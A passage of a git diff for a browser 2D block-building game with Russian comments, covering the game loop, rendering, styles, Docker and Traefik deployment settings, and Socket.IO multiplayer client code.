console.log('Сохранение не найдено, начинаем новую игру'); + + // Инициализируем игрока для новой игры + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.vx = player.vy = 0; + player.invuln = 0; + + // старт — на поверхности (ровно на 1 тайл выше поверхности) + const startGX = 6; + genColumn(startGX); + const surfaceY = surfaceGyAt(startGX); + player.y = (surfaceY - 1) * TILE; + player.x = startGX * TILE; + player.fallStartY = player.y; + + // Обновляем spawnPoint, чтобы возрождение было на поверхности + spawnPoint.x = player.x; + spawnPoint.y = player.y; + + console.log('Новая игра: startGX=', startGX, 'surfaceY=', surfaceY, 'player.y=', player.y, 'player.hp=', player.hp); + console.log('spawnPoint обновлён: x=', spawnPoint.x, 'y=', spawnPoint.y); + + // Генерируем карту вокруг стартовой позиции при инициализации + for(let gx = startGX - 50; gx <= startGX + 50; gx++){ + genColumn(gx); + } + } + + // Автосейв при скрытии страницы (защита от потери прогресса) + document.addEventListener('visibilitychange', () => { + if(document.hidden){ + saveGame(); + } + }); + + // Автосейв перед закрытием страницы (защита от потери прогресса) + window.addEventListener('beforeunload', () => { + saveGame(); + }); + }).catch(err => { + console.error('Ошибка инициализации:', err); + // При ошибке начинаем новую игру + const startGX = 6; + genColumn(startGX); + player.y = (surfaceGyAt(startGX)-1)*TILE; + player.fallStartY = player.y; + + for(let gx = startGX - 50; gx <= startGX + 50; gx++){ + genColumn(gx); + } + }); + + // main loop + let last = performance.now(); + let prevJump = false; + function loop(now){ + const dt = Math.min(0.05, (now-last)/1000); + last = now; + + const jumpPressed = inp.j && !prevJump; + prevJump = inp.j; + + // Ускорение времени во время сна + if(player.sleeping && isNight()){ + worldTime += dt * 8 / DAY_LEN; // В 8 раз быстрее + // Восстанавливаем здоровье во время сна + player.hp = Math.min(100, player.hp + dt * 20); + // Автоматическое пробуждение когда наступает день + if(!isNight()){ + player.sleeping = false; + } + } else { + worldTime += dt / DAY_LEN; + } + if(worldTime >= 1) worldTime -= 1; + + // камера следует за игроком по X/Y + camX = Math.floor((player.x + player.w/2) - W/2); + camY = Math.floor((player.y + player.h/2) - H/2); + + ensureGenAroundCamera(); + + // clouds parallax + for(const c of clouds){ + c.x -= c.s * dt; + if(c.x + c.w < camX - 400) c.x = camX + W + Math.random()*700; + } + + // player + updateWaterFlag(player); + + // кислород/утопление: тратим O2 только если голова под водой, иначе восстанавливаем [web:223] + if(player.headInWater){ + player.o2 = Math.max(0, player.o2 - 6*dt); // замедлил в 3.7 раза + if(player.o2 === 0){ + player.hp -= 4*dt; // уменьшил урон от утопления + } + } else { + player.o2 = Math.min(100, player.o2 + 10*dt); // замедлил восстановление в 4 раза + } + + // голод убывает, но HP не отнимает (как просили) + player.hunger = Math.max(0, player.hunger - dt*0.2); // замедлил в 4 раза + + // Игрок не может двигаться во время сна + if(player.sleeping){ + player.vx = 0; + player.vy = 0; + } else { + const dir = (inp.r?1:0) - (inp.l?1:0); + if(dir) player.vx = dir*MOVE; + else player.vx *= 0.82; + } + + // Звук шагов при движении по земле + if(player.grounded && !player.inWater && Math.abs(player.vx) > 50){ + const stepInterval = 0.35; // Интервал между шагами в секундах + if(now/1000 - player.lastStepTime > stepInterval){ + playSound('step'); + player.lastStepTime = now/1000; + } + } + + // прыжок/плавание (новая логика) + if(player.inBoat){ + // Игрок в лодке - лодка следует за игроком + const dir = (inp.r?1:0) - (inp.l?1:0); + if(dir) boat.vx = dir * MOVE; + else boat.vx *= 0.95; + + // Лодка плавает на воде + boat.vy = 0; + + // Игрок следует за лодкой (сидит внутри неё) + player.x = boat.x + 2; // Игрок по центру лодки + player.y = boat.y - 4; // Игрок выше лодки (сидит внутри) + player.vx = boat.vx; + player.vy = boat.vy; + player.grounded = true; + player.inWater = false; // Игрок не в воде когда в лодке + + // Прыжок из лодки (высадка) + if(jumpPressed){ + // Возвращаем лодку в инвентарь + inv.boat = (inv.boat || 0) + 1; + + player.inBoat = false; + boat.active = false; + player.y += TILE; // Прыгаем из лодки + player.vy = -JUMP * 0.5; + playSound('splash'); + } + + } else if(player.inWater){ + // сопротивление в воде + player.vx *= 0.90; + player.vy *= 0.92; + + // Если не нажимаем прыжок - тонем (гравитация в воде) + if(!jumpPressed && !inp.j){ + // Применяем гравитацию в воде - игрок тонет + player.vy += GRAV_WATER * dt; + } else { + // Если нажимаем прыжок - поднимаемся на поверхность + if(jumpPressed){ + player.vy = Math.min(player.vy, -520); // рывок вверх + } else if(inp.j){ + // если держим — мягкое всплытие + player.vy = Math.min(player.vy, -260); + } + } + + } else { + // обычный прыжок (только по нажатию) + if(jumpPressed && player.grounded && !player.sleeping){ + player.vy = -JUMP; + player.grounded = false; + player.fallStartY = player.y; + } + } + + // Гравитация применяется только вне воды и вне лодки + if(!player.inWater && !player.inBoat){ + player.vy += GRAV*dt; + } + + // Обновляем позицию лодки + if(boat.active){ + boat.x += boat.vx * dt; + boat.y += boat.vy * dt; + + // Лодка не выходит за пределы воды + const boatGX = Math.floor(boat.x / TILE); + const boatGY = Math.floor(boat.y / TILE); + const below = getBlock(boatGX, boatGY + 1); + + if(!below || below.t !== 'water'){ + // Если лодка вышла из воды - выкидываем игрока + inv.boat = (inv.boat || 0) + 1; + player.inBoat = false; + boat.active = false; + player.y += TILE; + player.vy = -200; + playSound('splash'); + } + } + + // Проверяем, не доплыл ли игрок из лодки + if(player.inBoat && !boat.active){ + inv.boat = (inv.boat || 0) + 1; + player.inBoat = false; + player.y += TILE; + player.vy = -200; + playSound('splash'); + } + + player.y += player.vy*dt; + resolveY(player); + player.x += player.vx*dt; resolveX(player); + + // Отправляем позицию на сервер (мультиплеер) + sendPlayerPosition(); + + // Обновляем физику воды + updateWaterPhysics(dt); + + player.invuln = Math.max(0, player.invuln - dt); + + // TNT tick + for(const key of Array.from(activeTNT)){ + const b = grid.get(key); + if(!b || b.dead){ activeTNT.delete(key); continue; } + b.fuse -= dt; + if(b.fuse <= 0){ + explodeAt(b.gx,b.gy); + } + } + + // mobs spawn (с обеих сторон камеры) + spawnT += dt; + if(spawnT > 1.8 && mobs.length < 30){ + spawnT = 0; + + // Выбираем сторону спавна (левая или правая) + const spawnLeft = Math.random() < 0.5; + const gx = spawnLeft + ? Math.floor((camX - 200)/TILE) + : Math.floor((camX + W + 200)/TILE); + + genColumn(gx); + const sgy = surfaceGyAt(gx); + const wx = gx*TILE + 4; + const wy = (sgy-2)*TILE; + + // не спавнить в воде + const top = getBlock(gx, sgy); + if(top && top.t==='water') { + // skip + } else { + if(isNight()){ + // Ночью спавним больше враждебных мобов + const rand = Math.random(); + if(rand < 0.35){ + mobs.push(new Zombie(wx, wy)); + } else if(rand < 0.55){ + mobs.push(new Creeper(wx, wy)); + } else { + mobs.push(new Skeleton(wx, wy)); + } + } else { + // Днём только животные + mobs.push(Math.random()<0.5 ? new Pig(wx, wy) : new Chicken(wx, wy)); + } + } + } + + // mobs update + for(let i=mobs.length-1;i>=0;i--){ + const m = mobs[i]; + mobAI(m, dt); + if(m.hp<=0) mobs.splice(i,1); + } + + // particles + for(let i=parts.length-1;i>=0;i--){ + const p = parts[i]; + p.t -= dt; + p.x += p.vx*dt; + p.y += p.vy*dt; + p.vy += GRAV*dt; + if(p.t <= 0) parts.splice(i,1); + } + + // death + if(player.hp <= 0){ + deathEl.style.display='flex'; + } else if(deathEl.style.display === 'flex') { + // Если HP > 0 но экран смерти всё ещё показан - скрываем его + deathEl.style.display='none'; + } + + // render + const night = isNight(); + + // sky + ctx.fillStyle = night ? '#070816' : '#87CEEB'; + ctx.fillRect(0,0,W,H); + + // clouds (parallax x/y) + ctx.save(); + ctx.translate(-camX*0.5, -camY*0.15); + ctx.fillStyle = 'rgba(255,255,255,0.65)'; + for(const c of clouds){ + ctx.fillRect(c.x, c.y, c.w, 26); + ctx.fillRect(c.x+20, c.y-10, c.w*0.6, 22); + } + ctx.restore(); + + // world + ctx.save(); + ctx.translate(-camX, -camY); + + const minGX = Math.floor(camX/TILE)-2; + const maxGX = Math.floor((camX+W)/TILE)+2; + const minGY = Math.floor(camY/TILE)-6; + const maxGY = Math.floor((camY+H)/TILE)+6; + + // draw blocks (по массиву, но фильтруем диапазоном) + for(const b of blocks){ + if(b.dead) continue; + if(b.gx < minGX || b.gx > maxGX || b.gy < minGY || b.gy > maxGY) continue; + + const def = BLOCKS[b.t]; + if(def.alpha){ + ctx.save(); + ctx.globalAlpha = def.alpha; + ctx.drawImage(tex[b.t], b.gx*TILE, b.gy*TILE, TILE, TILE); + ctx.restore(); + } else { + ctx.drawImage(tex[b.t], b.gx*TILE, b.gy*TILE, TILE, TILE); + } + + // TNT мигает, если активирован + if(b.t==='tnt' && b.active && Math.sin(now/60)>0){ + ctx.fillStyle='rgba(255,255,255,0.45)'; + ctx.fillRect(b.gx*TILE, b.gy*TILE, TILE, TILE); + } + + // огонь костра + if(b.t==='campfire'){ + drawFire(b.gx*TILE, b.gy*TILE, now); + } + } + + // mobs + for(const m of mobs){ + if(m.kind==='zombie'){ + ctx.fillStyle = '#2ecc71'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#c0392b'; + ctx.fillRect(m.x+6, m.y+12, 6,6); + ctx.fillRect(m.x+22, m.y+12, 6,6); + } else if(m.kind==='pig'){ + ctx.fillStyle = '#ffb6c1'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+22, m.y+5, 3,3); + ctx.fillStyle = '#ff69b4'; + ctx.fillRect(m.x+28, m.y+12, 6,6); + } else if(m.kind==='chicken'){ + // chicken + ctx.fillStyle = '#ecf0f1'; + ctx.fillRect(m.x, m.y, m.w, m.h); + ctx.fillStyle = '#f39c12'; + ctx.fillRect(m.x+18, m.y+10, 6,4); + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+8, m.y+6, 3,3); + } else if(m.kind==='creeper'){ + // creeper + ctx.fillStyle = '#4CAF50'; + ctx.fillRect(m.x, m.y, m.w, m.h); + // Глаза + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+8, m.y+8, 4,4); + ctx.fillRect(m.x+22, m.y+8, 4,4); + // Рот + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+12, m.y+20, 10,4); + // Ноги + ctx.fillStyle = '#4CAF50'; + ctx.fillRect(m.x+4, m.y+30, 6,20); + ctx.fillRect(m.x+24, m.y+30, 6,20); + } else if(m.kind==='skeleton'){ + // skeleton - детализированный + // Тело + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(m.x+10, m.y+20, 14, 12); + // Череп + ctx.fillRect(m.x+8, m.y+0, 18, 18); + // Глазницы + ctx.fillStyle = '#000'; + ctx.fillRect(m.x+10, m.y+6, 4,4); + ctx.fillRect(m.x+20, m.y+6, 4,4); + // Нос + ctx.fillRect(m.x+15, m.y+12, 4,2); + // Руки + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(m.x+2, m.y+20, 6,14); + ctx.fillRect(m.x+26, m.y+20, 6,14); + // Ноги + ctx.fillRect(m.x+10, m.y+32, 6, 18); + ctx.fillRect(m.x+18, m.y+32, 6, 18); + } + } + + // boat (рисуем первой, чтобы игрок был внутри неё) + if(boat.active){ + ctx.drawImage(tex['boat'], boat.x - (TILE-boat.w)/2, boat.y - (TILE-boat.h)/2, TILE, TILE); + } + + // other players (multiplayer) + for(const [socketId, p] of otherPlayers){ + if(heroImg.complete){ + ctx.drawImage(heroImg, p.x - (TILE-player.w)/2, p.y - (TILE-player.h)/2, TILE, TILE); + } else { + ctx.fillStyle = p.color; + ctx.fillRect(p.x, p.y, 34, 34); + } + // Имя игрока (мелко над персонажем) + ctx.fillStyle = '#fff'; + ctx.font = '12px system-ui'; + ctx.textAlign = 'center'; + ctx.fillText(p.name, p.x + 17, p.y - 8); + } + + // player + if(heroImg.complete){ + ctx.drawImage(heroImg, player.x - (TILE-player.w)/2, player.y - (TILE-player.h)/2, TILE, TILE); + } else { + ctx.fillStyle='#fff'; + ctx.fillRect(player.x, player.y, player.w, player.h); + } + + // particles + for(const p of parts){ + ctx.fillStyle = p.c; + ctx.fillRect(p.x-2, p.y-2, 4, 4); + } + + // Стрелы скелета + for(const m of mobs){ + if(m.kind==='skeleton' && m.shootCooldown > 0.5){ + // Рисуем стрелу + const arrowX = m.x + m.w/2; + const arrowY = m.y + 15; + const targetX = player.x + player.w/2; + const targetY = player.y + player.h/2; + const angle = Math.atan2(targetY - arrowY, targetX - arrowX); + const speed = 400; + + // Проверяем, попала ли стрела + const dx = targetX - arrowX; + const dy = targetY - arrowY; + const dist = Math.hypot(dx, dy); + + // Рисуем стрелу + ctx.save(); + ctx.translate(arrowX, arrowY); + ctx.rotate(angle); + ctx.fillStyle = '#ECEFF1'; + ctx.fillRect(0, -1, 16, 2); + ctx.restore(); + + // Урон игроку если попали + if(dist < 150 && player.invuln <= 0){ + player.hp -= 8; + player.invuln = 0.5; + player.vx += Math.cos(angle) * 300; + player.vy -= 200; + playSound('hit1'); + } + } + } + + // build ghost + if(mode()==='build' && mouse.x!==null && !craftOpen && player.hp>0){ + const wx = mouse.x + camX; + const wy = mouse.y + camY; + const gx = Math.floor(wx/TILE); + const gy = Math.floor(wy/TILE); + ctx.strokeStyle = 'rgba(255,255,255,0.9)'; + ctx.lineWidth = 2; + ctx.strokeRect(gx*TILE, gy*TILE, TILE, TILE); + } + + ctx.restore(); + + // lighting overlay at night + if(night){ + // Рисуем полупрозрачный тёмный оверлей + ctx.save(); + ctx.fillStyle = 'rgba(0,0,0,0.50)'; + ctx.fillRect(0, 0, W, H); + ctx.restore(); + + // Освещение от факелов и костров + ctx.save(); + ctx.globalCompositeOperation = 'lighter'; + + // Функция для рисования света + function drawLight(x, y, radius, intensity) { + const gradient = ctx.createRadialGradient(x, y, 0, x, y, radius); + gradient.addColorStop(0, `rgba(255, 255, 200, ${intensity})`); + gradient.addColorStop(1, `rgba(255, 255, 200, 0)`); + ctx.fillStyle = gradient; + ctx.beginPath(); + ctx.arc(x, y, radius, 0, Math.PI * 2); + ctx.fill(); + } + + // Освещение от факелов (1/3 яркости) + for(const b of blocks){ + if(b.dead) continue; + if(b.gx < minGX || b.gx > maxGX || b.gy < minGY || b.gy > maxGY) continue; + const def = BLOCKS[b.t]; + if(def.lightRadius){ + const wx = b.gx*TILE + TILE/2 - camX; + const wy = b.gy*TILE + TILE/2 - camY; + drawLight(wx, wy, def.lightRadius, 0.33); + } + } + + ctx.restore(); + } + + // UI tick + if(Math.random()<0.25){ + hpEl.textContent = Math.max(0, Math.ceil(player.hp)); + foodEl.textContent = Math.ceil(player.hunger); + document.getElementById('o2').textContent = Math.ceil(player.o2); + sxEl.textContent = Math.floor(player.x/TILE); + syEl.textContent = Math.floor(player.y/TILE); + todEl.textContent = night ? 'Ночь' : 'День'; + worldIdEl.textContent = worldId; + if(isMultiplayer){ + document.getElementById('multiplayerStatus').style.display = 'flex'; + playerCountEl.textContent = otherPlayers.size + 1; // +1 = мы сами + } else { + document.getElementById('multiplayerStatus').style.display = 'none'; + } + } + + // Индикатор сна + if(player.sleeping){ + ctx.fillStyle = 'rgba(0,0,0,0.7)'; + ctx.fillRect(0, 0, W, H); + ctx.fillStyle = '#fff'; + ctx.font = 'bold 32px system-ui'; + ctx.textAlign = 'center'; + ctx.fillText('💤 Спим...', W/2, H/2); + ctx.font = '18px system-ui'; + ctx.fillText('Нажмите на кровать чтобы проснуться', W/2, H/2 + 40); + } + + requestAnimationFrame(loop); + } + + requestAnimationFrame(loop); +})(); diff --git a/backup/20260103_082922/index.html b/backup/20260103_082922/index.html new file mode 100644 index 0000000..3313464 --- /dev/null +++ b/backup/20260103_082922/index.html @@ -0,0 +1,79 @@ + + + + + +GrechkaCraft: Multiplayer + + + + + + +
+ + +
+
+
❤️ 100   🍗 100
+
🫁 100
+
📍 X:0 Y:0
+
🕒 День
+
🌐 default
+ +
+ +
🏃
+
💾
+
🔨
+
🔄
+ +
+
+
Крафт
+ +
+
+
+ +
+
+
Инвентарь
+ +
+
+
+ +
+
ВЫ ПОГИБЛИ
+ +
+ +
+
🎒
+
+ + + +
💬
+
+ +
+
+ +
+
+ + + + diff --git a/backup/20260103_082922/style.css b/backup/20260103_082922/style.css new file mode 100644 index 0000000..af8325b --- /dev/null +++ b/backup/20260103_082922/style.css @@ -0,0 +1,72 @@ +/* Minegrechka Game Styles - v1.2 */ +html, body { margin:0; padding:0; width:100%; height:100%; overflow:hidden; background:#111; font-family: system-ui, sans-serif; user-select:none; -webkit-user-select:none; touch-action:none; } +#game { position:absolute; top:0; left:0; right:0; bottom:140px; background:#87CEEB; overflow:hidden; } +canvas { display:block; width:100%; height:100%; image-rendering:pixelated; } +#controls { position:absolute; left:0; right:0; bottom:0; height:140px; background:#222; border-top:4px solid #444; z-index:10; } + +.ui { position:absolute; inset:0; pointer-events:none; z-index:20; } +.pe { pointer-events:auto; } + +#stats { position:absolute; left:10px; top:10px; color:#fff; font-weight:800; font-size:14px; + background: rgba(0,0,0,0.55); padding:8px; border-radius:10px; text-shadow:1px 1px 0 #000; } +#stats .row{ display:flex; gap:10px; align-items:center; } + +.rbtn { position:absolute; right:10px; width:52px; height:52px; border-radius:12px; + display:flex; align-items:center; justify-content:center; border:2px solid rgba(255,255,255,0.9); + font-size:24px; cursor:pointer; pointer-events:auto; box-shadow:0 4px 0 rgba(0,0,0,0.5); } +.rbtn:active { transform: translateY(4px); box-shadow:none; } +#modeBtn { top:10px; background:#f39c12; } +#saveBtn { top:10px; right:70px !important; background:#27ae60; } +#resetBtn { top:10px; right:130px !important; background:#e74c3c; } +#craftBtn { top:74px; right:10px !important; background:#9b59b6; } +#chatToggle { top:10px; right:190px !important; background:#9b59b6; } + +#hotbar { position:absolute; left:50%; transform:translateX(-50%); bottom:10px; display:flex; gap:6px; + background: rgba(0,0,0,0.60); padding:6px; border-radius:12px; pointer-events:auto; + overflow-x: auto; overflow-y: hidden; max-width: 80%; } +.slot { width:38px; height:38px; border:2px solid rgba(255,255,255,0.22); border-radius:10px; + position:relative; overflow:hidden; cursor:pointer; background: rgba(255,255,255,0.07); + display:flex; align-items:center; justify-content:center; font-size:18px; } +.slot.sel { border-color:#f1c40f; box-shadow: 0 0 0 2px rgba(241,196,15,0.18) inset; } +.count { position:absolute; right:3px; bottom:1px; font-size:10px; color:#fff; font-weight:900; text-shadow:1px 1px 0 #000; } + +/* Craft modal */ +#craftPanel { display:none; position:absolute; left:14px; right:14px; top:14px; bottom:14px; + background: rgba(10,10,12,0.92); border:2px solid rgba(255,255,255,0.85); border-radius:14px; + pointer-events:auto; padding:12px; overflow:auto; } + +/* Inventory modal */ +#inventoryPanel { display:none; position:absolute; left:50%; top:50%; transform: translate(-50%, -50%); + width: 420px; max-width: 90%; background: rgba(10,10,12,0.92); border:2px solid rgba(255,255,255,0.85); + border-radius:14px; pointer-events:auto; padding:12px; z-index: 100; } +#inventoryPanel .top { display:flex; justify-content:space-between; align-items:center; color:#fff; margin-bottom:10px; } +#inventoryGrid { display: grid; grid-template-columns: repeat(6, 1fr); gap: 6px; margin-top: 10px; } +.inv-slot { width: 48px; height: 48px; border: 2px solid rgba(255,255,255,0.22); border-radius: 8px; + position: relative; overflow: hidden; cursor: pointer; background: rgba(255,255,255,0.07); + display: flex; align-items: center; justify-content: center; font-size: 24px; } +.inv-slot.sel { border-color: #f1c40f; box-shadow: 0 0 0 2px rgba(241,196,15,0.18) inset; } +.inv-count { position: absolute; right: 3px; bottom: 1px; font-size: 12px; color: #fff; + font-weight: 900; text-shadow: 1px 1px 0 #000; background: rgba(0,0,0,0.5); padding: 1px 3px; border-radius: 4px; } +#craftPanel .top { display:flex; justify-content:space-between; align-items:center; color:#fff; margin-bottom:10px; } +#craftPanel .close { background:#c0392b; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +.recipe { display:flex; align-items:center; gap:10px; padding:10px; border-radius:12px; + background: rgba(255,255,255,0.06); border:1px solid rgba(255,255,255,0.10); margin-bottom:8px; } +.ricon { width:32px; height:32px; border-radius:8px; background-size:cover; image-rendering:pixelated; } +.rinfo { flex:1; } +.rname { color:#fff; font-weight:900; font-size:14px; } +.rcost { color:#bbb; font-size:11px; line-height:1.25; } +.rcraft { background:#2ecc71; border:none; color:#fff; font-weight:900; padding:8px 10px; border-radius:10px; cursor:pointer; } +.rcraft:disabled { background:#444; color:#888; cursor:not-allowed; } + +/* Controls buttons */ +.cbtn { position:absolute; top:50%; transform:translateY(-50%); width:74px; height:74px; border-radius:14px; + background:#333; border:3px solid #555; color:#fff; font-size:32px; display:flex; align-items:center; justify-content:center; + box-shadow:0 7px 0 #111; pointer-events:auto; } +.cbtn:active { transform:translateY(-46%); box-shadow:0 3px 0 #111; background:#444; } +#left { left:18px; } +#right { left:102px; } +#jump { right:18px; background:#d35400; border-color:#e67e22; } + +#death { display:none; position:absolute; inset:0; background: rgba(60,0,0,0.88); + z-index:200; color:#fff; pointer-events:auto; align-items:center; justify-content:center; flex-direction:column; gap:12px; } +#death button { padding:12px 18px; font-size:18px; font-weight:900; border:none; border-radius:12px; cursor:pointer; } diff --git a/docker-compose.yml b/docker-compose.yml new file mode 100644 index 0000000..3de5ddb --- /dev/null +++ b/docker-compose.yml @@ -0,0 +1,27 @@ +name: grechka-game +services: + grechka-game: + build: + context: . + dockerfile: Dockerfile + container_name: grechka-game + restart: unless-stopped + networks: + - shared_network + labels: + # Включаем Traefik для этого сервиса + - "traefik.enable=true" + - "traefik.docker.network=shared_network" + + # HTTPS роутер + - "traefik.http.routers.grechka-game.entrypoints=websecure" + - "traefik.http.routers.grechka-game.rule=Host(`grechka.mkn8n.ru`)" + - "traefik.http.routers.grechka-game.tls=true" + - "traefik.http.routers.grechka-game.tls.certresolver=mytlschallenge" + + # Сервис + - "traefik.http.services.grechka-game.loadbalancer.server.port=80" + +networks: + shared_network: + external: true diff --git a/game.js b/game.js new file mode 100644 index 0000000..2349c55 --- /dev/null +++ b/game.js @@ -0,0 +1,2734 @@ +(() => { + // ==================== КОНФИГУРАЦИЯ СЕРВЕРА ==================== + // Возможность переопределить сервер через query string + const urlParams = new URLSearchParams(window.location.search); + const SERVER_URL = urlParams.get('server') || 'https://apigrech.mkn8n.ru'; + const TELEGRAM_BOT_USERNAME = 'Grechkacraft_bot'; // Имя бота для share-ссылки + const TELEGRAM_APP_SHORT_NAME = 'minegrechka'; // Короткое имя Mini App + + // Защита от mixed content + if (location.protocol === 'https:' && SERVER_URL.startsWith('http://')) { + console.warn('⚠️ Mixed content warning: page is HTTPS but server URL is HTTP'); + alert('⚠️ Предупреждение: страница загружена по HTTPS, но сервер использует HTTP. Это может вызвать проблемы.'); + } + + // ==================== WORLD ID И ИГРОКА ==================== + let worldId = null; + let playerName = localStorage.getItem('minegrechka_playerName') || null; + + // Запрашиваем имя игрока, если его нет + if (!playerName) { + playerName = prompt('Введите ваше имя для игры:') || 'Игрок'; + localStorage.setItem('minegrechka_playerName', playerName); + console.log('Player name set:', playerName); + } + + // Берём worldId из URL или генерируем новый + console.log('Current URL:', window.location.href); + const worldParam = urlParams.get('world'); + console.log('world param:', worldParam); + + // Проверяем на null, undefined или пустую строку + worldId = (worldParam && worldParam.trim() !== '') ? worldParam : null; + + console.log('worldId after params:', worldId, 'type:', typeof worldId); + + // Если worldId отсутствует - генерируем новый и записываем в URL + if (!worldId) { + worldId = Math.random().toString(36).substring(2, 10); + console.log('Generated worldId:', worldId); + + try { + const newUrl = new URL(window.location.href); + newUrl.searchParams.set('world', worldId); + const newUrlString = newUrl.toString(); + console.log('New URL to set:', newUrlString); + + // Проверяем, поддерживается ли history API + if (typeof window.history !== 'undefined' && typeof window.history.replaceState === 'function') { + window.history.replaceState(null, '', newUrlString); + console.log('URL after replaceState:', window.location.href); + console.log('URL after replaceState (direct check):', window.location.search); + } else { + console.error('History API not supported!'); + } + } catch (e) { + console.error('Error updating URL:', e); + } + + console.log('Generated new worldId for browser:', worldId); + } + + console.log('Final worldId:', worldId, 'Player name:', playerName); + + console.log(`Server URL: ${SERVER_URL}, World ID: ${worldId}`); + + // Обработчик клика на worldId для копирования ссылки + document.getElementById('worldId').onclick = () => { + const shareUrl = new URL(window.location.href); + shareUrl.searchParams.set('world', worldId); + const shareUrlString = shareUrl.toString(); + + if (navigator.clipboard && navigator.clipboard.writeText) { + navigator.clipboard.writeText(shareUrlString).then(() => { + alert('Ссылка скопирована!'); + }).catch(() => { + alert('Ссылка на мир:\n' + shareUrlString); + }); + } else { + alert('Ссылка на мир:\n' + shareUrlString); + } + }; + + // ==================== SOCKET.IO КЛИЕНТ ==================== + let socket = null; + let isMultiplayer = false; // Флаг для мультиплеерного режима + const otherPlayers = new Map(); // socket_id -> {x, y, color} + let mySocketId = null; + + // Throttle для отправки позиции (10-20 раз в секунду) + let lastMoveSendTime = 0; + const MOVE_SEND_INTERVAL = 0.05; // 50ms = 20 раз в секунду + let lastSentX = 0, lastSentY = 0; + + function initSocket() { + try { + socket = io(SERVER_URL, { + path: '/socket.io/', + transports: ['websocket', 'polling'] + }); + + socket.on('connect', () => { + console.log(`Connected to server: ${SERVER_URL}, socket.id: ${socket.id}, worldId: ${worldId}`); + mySocketId = socket.id; + isMultiplayer = true; + + // Присоединяемся к миру + socket.emit('join_world', { world_id: worldId, player_name: playerName }); + + // Показываем в UI + worldIdEl.textContent = worldId; + multiplayerStatus.style.display = 'block'; + }); + + socket.on('connect_error', (error) => { + console.error('Socket connection error:', error); + isMultiplayer = false; + }); + + socket.on('disconnect', () => { + console.log('Disconnected from server'); + isMultiplayer = false; + otherPlayers.clear(); + multiplayerStatus.style.display = 'none'; + }); + + // Обработка world_state + socket.on('world_state', (data) => { + console.log('Received world_state:', data); + + // Устанавливаем seed и перегенерируем мир если он изменился + if (data.seed !== undefined && data.seed !== worldSeed) { + const oldSeed = worldSeed; + worldSeed = data.seed; + console.log('World seed changed from', oldSeed, 'to', worldSeed); + + // Очищаем и перегенерируем мир с новым seed + generated.clear(); + grid.clear(); + blocks.length = 0; + placedBlocks = []; + removedBlocks = []; + console.log('World regenerated with new seed:', worldSeed); + } + + // Применяем блоки + if (data.blocks && Array.isArray(data.blocks)) { + for (const block of data.blocks) { + if (block.op === 'set') { + setBlock(block.gx, block.gy, block.t, false); + } else if (block.op === 'remove') { + removeBlock(block.gx, block.gy); + } + } + } + + // Устанавливаем время + if (data.time !== undefined) { + worldTime = data.time; + isNightTime = worldTime > 0.5; + } + + // Если есть spawnPoint от сервера - используем его и генерируем эту позицию + if (data.spawnPoint) { + spawnPoint.x = data.spawnPoint.x; + spawnPoint.y = data.spawnPoint.y; + // Генерируем колонну в точке спавна + const spawnGX = Math.floor(spawnPoint.x / TILE); + genColumn(spawnGX); + console.log('Server spawnPoint received and column generated:', spawnPoint); + } else { + // Если spawnPoint не пришёл от сервера - генерируем безопасную позицию + const startGX = 6; + genColumn(startGX); + const surfaceY = surfaceGyAt(startGX); + spawnPoint.x = startGX * TILE; + spawnPoint.y = (surfaceY - 1) * TILE; + console.log('Generated safe spawn point:', spawnPoint, 'surfaceY:', surfaceY); + } + + // Устанавливаем игрока в точку спавна + player.x = spawnPoint.x; + player.y = spawnPoint.y; + player.vx = 0; + player.vy = 0; + player.fallStartY = player.y; + console.log('Player moved to spawn point:', player.x, player.y); + + // Устанавливаем HP на 100% при каждом подключении к миру + player.hp = 100; + player.hunger = 100; + player.o2 = 100; + player.invuln = 0; + console.log('[MULTIPLAYER CONNECT] Player HP set to 100% on connect'); + + // Обновляем список игроков + if (data.players && Array.isArray(data.players)) { + otherPlayers.clear(); + for (const p of data.players) { + if (p.socket_id !== mySocketId) { + otherPlayers.set(p.socket_id, { + x: p.x, + y: p.y, + color: getRandomPlayerColor(p.socket_id), + name: p.player_name || 'Игрок' + }); + } + } + // Обновляем счётчик игроков + playerCountEl.textContent = data.players.length; + } + }); + + // Игрок присоединился + socket.on('player_joined', (data) => { + console.log('Player joined:', data.socket_id); + if (data.socket_id !== mySocketId) { + // Генерируем безопасную позицию для нового игрока + const spawnGX = 6; + genColumn(spawnGX); + const surfaceY = surfaceGyAt(spawnGX); + const safeSpawnX = spawnGX * TILE; + const safeSpawnY = (surfaceY - 1) * TILE; + + otherPlayers.set(data.socket_id, { + x: safeSpawnX, + y: safeSpawnY, + color: getRandomPlayerColor(data.socket_id), + name: data.player_name || 'Игрок' + }); + addChatMessage('Система', `Игрок присоединился`); + // Обновляем видимость кнопки сохранения + updateSaveButtonVisibility(); + } + }); + + // Игрок переместился + socket.on('player_moved', (data) => { + if (data.socket_id !== mySocketId && otherPlayers.has(data.socket_id)) { + const p = otherPlayers.get(data.socket_id); + p.x = data.x; + p.y = data.y; + // Обновляем имя, если оно пришло + if (data.player_name) { + p.name = data.player_name; + } + } + }); + + // Игрок покинул + socket.on('player_left', (data) => { + console.log('Player left:', data.socket_id); + otherPlayers.delete(data.socket_id); + addChatMessage('Система', `Игрок покинул игру`); + // Обновляем видимость кнопки сохранения + updateSaveButtonVisibility(); + }); + + // Блок изменён + socket.on('block_changed', (data) => { + if (data.op === 'set') { + setBlock(data.gx, data.gy, data.t, false); + } else if (data.op === 'remove') { + removeBlock(data.gx, data.gy); + } + }); + + // Сообщение в чат + socket.on('chat_message', (data) => { + const senderName = data.socket_id === mySocketId ? 'Вы' : `Игрок ${data.socket_id.substring(0, 6)}`; + addChatMessage(senderName, data.message); + }); + + // Обновление времени + socket.on('time_update', (data) => { + if (data.time !== undefined) { + worldTime = data.time; + isNightTime = worldTime > 0.5; + } + }); + + } catch (e) { + console.error('Error initializing socket:', e); + isMultiplayer = false; + } + } + + // Генерация случайного цвета для игрока на основе socket_id + function getRandomPlayerColor(socketId) { + const colors = ['#e74c3c', '#3498db', '#2ecc71', 